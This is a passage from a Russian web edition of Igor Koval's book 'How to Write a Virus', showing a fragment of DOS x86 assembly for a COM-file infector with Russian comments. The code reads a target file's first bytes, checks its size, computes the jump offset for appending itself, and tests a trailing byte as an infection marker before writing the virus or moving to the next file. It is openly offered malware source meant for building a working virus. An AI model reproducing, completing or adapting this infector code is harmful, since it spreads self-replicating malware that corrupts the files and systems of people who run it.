"Игорь Коваль. Как написать вирус" - читать интересную книгу автора mov ah,3fh
mov cx,3 lea dx,old_bytes int 21h jnc cs:found_size jmp cs:close found_size:mov di,bp cmp word ptr es:[di+01ch],0 jne cs:more_64K ;Найдем его раз- mov ax,es:[di+01ah] ;мер ... count_size:mov si,ax ;Вычислим ;смещения ... cmp ax,64000 jna cs:smallest more_64K: jmp cs:find_next smallest: test ax,000fh jz cs:krat_16 or ax,000fh inc ax krat_16: mov di,ax sub ax,3 mov byte ptr new_bytes[1],al mov byte ptr new_bytes[2],ah mov ax,di shr ax,cl dec ax mov byte ptr add_to_ds,al mov byte ptr add_to_ds+1,ah mov ax,4200h ;Считаем послед- xor cx,cx ;ний байт ... dec si mov dx,si int 21h jnc cs:read_last jmp cs:close read_last: mov ah,3fh mov cx,1 lea dx,last int 21h jc cs:close cmp last,'1' ;Индикатор зара- jne cs:write_vir ;жения ... jmp cs:find_next |
|
|